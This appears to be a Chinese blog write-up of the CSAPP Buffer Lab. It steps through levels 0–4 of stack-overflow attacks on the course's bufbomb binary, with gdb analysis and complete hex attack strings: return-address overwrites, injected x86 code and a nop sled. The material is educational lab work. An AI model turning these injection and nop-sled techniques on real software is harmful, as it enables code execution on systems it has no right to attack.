CSAPP: Buffer Lab

来源:互联网 发布:企业邮箱 知乎 编辑:程序博客网 时间:2024/05/17 22:09

介绍

该实验能够帮助你更好的理解IA-32的过程调用和程序栈的组织情况。在实验中我们需要对于文件夹中bufbomb可执行文件进行栈溢出攻击


实验前准备

  1. 下载相应的buffer Lab实验文件,里面包含三个可执行文件
    相关实验代码的Github下载链接如下https://github.com/Davon-Feng/CSAPP-Labs 中的Buffer Lab
文件名 作用 bufbomb 栈溢出实验主要的攻击目标 makecookie 根据用户输入的userid生成唯一(很大可能)的4字节字符串 hex2raw 将用户构造的2进制字符串转换为字符串

2. makecookie使用方法
3. hex2raw使用方法
4. bufbomb的参数

在下载的Buffer lab文件夹中buflab.pdf中有以上四点的指导内容,在实验前要仔细阅读

注意:这个程序运行时要有一个userid参数,我的设置的是yzf, 不同的userid会对应不同的结果.我的答案如果换成别的userid的话就不成功.
而且也可能和机器有关,因为程序中一些变量的存放位置可能不同.


实验过程

level0:Candle

在bufbomb中getbuf()方法会被test()调用。两个函数的C语言程序如下所示

 /*Buffer size for getbuf*/    #define NORMAL_BUFFER_SIZE 32    int getbuf()    {        char bur[NORMAL_BUFFER_SIZE];        Gets(buf);        return 1;    }    void test()    {        int val;        /* Put canary on stack to detect possible corruption*/        volatile int local = uniqueval();        val = getbuf();        /*Check for corrupted stack*/        if(local != uniqueval){            printf("Sabotaged:the stack has been corrupted\n");        }else if(val == cookie){            printf("Boom!:getbuf returned 0x%x\n",val);            validate(3);        }else{            printf("Dud:getbuf return 0x%x\n",val);        }    }

Level0实验需要我们在getbuf()函数执行返回之后不是接下来执行test()函数的剩余部分,而是改变程序的运行方向,执行下面的smoke()函数。

    void smoke()    {        printf("Smoke!: You called smoke()\n"); validate(0);        exit(0);    }

根据实验要求,我们需要在getbuf()读取32个字节字符的时候,执行栈溢出攻击。运用gdb来调试bufbomb()的执行情况,查看buf变量存储在栈的什么位置。
这里写图片描述

disassemble 能够在gdb调试的时候将getbuf()函数反汇编

根据上图的汇编代码,可以看到lea -0x28(%ebp),%eax命令,通过该行及下面三行可以得到Gets()函数的返回值存储在-0x28(%ebp)的位置,即为存储buf字符串的起始地址。

根据CSAPP中的知识,我们知道当前过程调用的时候栈的组织方式如下图:
这里写图片描述

根据栈溢出的的要求和上图计算出的字节大小,我们需要输入48字节的字符串来执行栈溢出攻击,并且需要将test()返回地址覆盖成smoke()返回地址
下面需要获取smoke()函数的起始地址。运用相同的disassemble指令获取该函数的起始地址如下图。
这里写图片描述
smoke()函数起始地址为0x08048c18;

所有我们的攻击2进制字符串如下所示

00 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 18 8c 04 08

注意:1.只有最后一行08后面有回车符,其余的均为空格,上图写法只是为了方便查看。2. 该机器是小端法,低字节在前,高字节在后 3.前面00 内容可以任意填写,只要不是0x0A(\n)就可以。

相应执行结果如下:
这里写图片描述

level1:Sparkle

level1实验的要求和level0相似,但存在不同。它需要程序从getbuf()返回后执行fizz(int val)函数,并且为fizz(int val)函数传递你自己独有的cookie参数。
下面是fizz(int val)函数C代码

    void fizz(int val)    {        if (val == cookie) {        printf("Fizz!: You called fizz(0x%x)\n", val);        validate(1);    } else        printf("Misfire: You called fizz(0x%x)\n", val);        exit(0);     }

首先与level0一样使用相同的方法(Gdb中disassemble指令)获取fizz(int val)函数的的起始地址为0x08048c42
这里写图片描述

下面分析参数的存储位置和cookie的存储位置:
根据上图fizz的反汇编代码中第一个比较指令cmp 0x804d108,%eax我们可以知道,cookie存在的内存地址为0x804d108,并且参数的内容在%eax中,而%eax存着0x8(%ebp)的内容,所以推断出参数的位置。

因为栈溢出攻击需要为fizz函数传递参数,我们需要分析系统执行fizz函数时的栈情况,结合上面获取的参数位置来确定攻击字符串的组成。

这里写图片描述
左边是初步确定攻击序列之后,模拟填写在程序栈中的。右边是溢出成功后执行到fizz()第一个cmp函数位置时栈的情况。
根据上图我们可以确定参数的位置距离攻击字符串fizz()起始地址还具有4个字节的距离。
所以我们需要构造56个字节(48字节类似level0的攻击序列+4空格+4字节参数)

下面是攻击代码:

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 42 8c 04 0800 00 00 00 28 f8 4c 5e

最后4字节的参数,是userid:yzf通过makecookie获得的

level2:Firecracker

该部分实验的要求是类似于level1和level0,认为为让bufbomb在getbuf()函数返回会执行bang()函数。但是在执行bang()函数之前我们需要设计全局变量global_value为我们自己userid的cookie。
相应bang()函数C语言代码如下:

    int global_value = 0;    void bang(int val)    {        if (global_value == cookie) {        printf("Bang!: You set global_value to 0x%x\n", global_value); validate(2);         } else        printf("Misfire: global_value = 0x%x\n", global_value);        exit(0);     }

依据实验要求,我们的攻击字符串需要能够执行设置global_value指,将bang()起始位置放在栈上,并用ret指令跳转到bang()函数。

  1. 获取global_value的内存,和bang函数的起始地址
    这里写图片描述

    根据上面的反汇编代码第一行可以看到bang()函数的起始地址为0x08048c9d

    根据第一个cmp指令的上下文可以知道cookie存储的位置为0x804d108,global_value的地址为0x80d100

  2. 生成修改global_value的值和跳转bang函数的二进制代码

        mov 0x804d108,%eax    mov %eax,0x804d100    push $0x8048c9d    ret

    上面代码1 ~ 2行执行的就是修改global_value的值,并且3 ~ 4行将bang函数的起始地址压入栈,并返回,用于执行后跳转到bang函数。
    运用如下gcc和objdump指令可以生成本机器的2进制代码

    : gcc -m32 -c level2-code.S: objdump -d level2-code.o > level2-code.txt  

    最后得到level2-code.txt文件,该文件中有相应的二进制代码和汇编代码。
    如下所示
    这里写图片描述

  3. 构造攻击序列

    因为步骤2中已经实现了修改值,并且跳转bang()函数的功能,所以我们需要将该代码放置地在buf中,并且让系统跳转到该段代码的起始处执行。
    所以我们需要知道buf字符串在栈中开始地址。根据level0我们知道buf距离ebp 有0x28个字节。我们通过gbd调试获取执行到getbuf时的寄存器内,从而计算出buf的起始地址得到为0x55683458
    这里写图片描述

    所以我们的序列构成如下:
    【步骤2中的代码序列(16字节)+填充序列(28字节)+填充跳转地址(4字节buf起始地址)】

    a1 08 d1 04 08 a3 00 d104 08 68 9d 8c 04 08 c300 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 58 34 68 55

    相关的执行结果如下所示
    这里写图片描述

level3:Dynamite

该实验的要求与level2相似,但是有更高的要求需要让程序察觉不到你的修改,可以继续正常的执行。
对应的实验中需要完成如下几个工作:
(1)修改getbuf()返回值为对应cookie,而不是1;
(2)恢复test函数中的%ebp寄存器内容;
(3)返回到接下去test()函数执行位置正常执行。

  1. 获取test函数中正确的ebp内容,以及正常下一条指令的地址
    这里写图片描述
    通过gdb调试,结合过程调用中旧ebp正常返回地址距离当前%edp分别为0和4字节。所以获得了旧ebp内容0x556834b0,正常下一条指令地址为0x8048dbe

  2. 根据设置getbuf()返回值,重建ebp,返回test()函数的汇编代码获取2进制代码

    相关获取2进制代码的方法如level2中所示,最后得到如下代码片段
    这里写图片描述

    第1行命令为设置返回值为cookie
    第2行命令为重建ebp指针,使得程序返回test()时能正常执行
    第3行命令为设置返回为test()中正常执行的下一行地址
    第4行将栈中返回地址弹出,并且将eip指向该地址

  3. 构造攻击序列
    序列构成如下:
    【步骤2中的代码序列(16字节)+填充序列(28字节)+填充跳转地址(4字节buf起始地址)】

    a1 08 d1 04 08 bd b0 34 68 55 68 be 8d 04 08 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  00 00 00 00 58 34 68 55

运行结果如下
这里写图片描述

level4:Nitroglycerin

正常的程序运行过程中,具体在栈中的位置是不确定,所以该实验与level3的区别在于,buf等地址在栈中位置是变化的。这里需要用到空操作雪橇(nop sled)技术,通过nop指令构造序列,程序只要执行到任意一个nop指令就会逐渐执行到攻击代码,相关具体解释见《深入理解计算机系统 第二版》P108页。
在level4实验中运用到getbufn()函数、testn()函数,该函数和之前的大体相似,但是会连续执行5次,且buf的缓冲区的长度为520字节。

主要任务:
(1)确定buf的起始地址范围
(2)获取tesdn函数的正确%ebp指针内容。
(3)确定序列中填充的跳转地址

  1. 确定buf起始地址范围

    连续运用gdb调试bufbomb程序(bufbomb执行需要加上-n命令)来大致了解buf的初始地址范围为0x55683278 ~ 0x556832b8
    这里写图片描述

  2. 确定正确tesdn函数的正确%ebp指针内容

    同样通过调试,或阅读testn函数的反汇编代码得到testn函数的ebp指针的内容为testn当前%esp+0x28
    getbufn()返回后执行的下一行指令地址获取方法与level3相同,地址为0x08048e3a

    所以修改level3中的汇编代码,并且获取2进制表示,结果如下
    这里写图片描述

  3. 确定序列中填充的跳转地址
    因为buf的初始地址不确定,在序列中填充的跳转地址只能根据它的大致范围确定。我们选取buf可能地址中的最大值0x556832b8,这样当buf移动的时候,该地址始终可以命中nop序列。

计算总的攻击序列长度= buf长度为520字节+4空格+填充跳转序列4字节 = 528字节

所以攻击序列如下:【509个nop指令+15字节代码序列+4字节修改返回地址代码序列】

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 a1 08 d1 04 08 8d 6c 24 28 68 3a 8e 04 08 c3 b8 32 68 55

实验结果如下:
![enter description here][16]

0 0
原创粉丝点击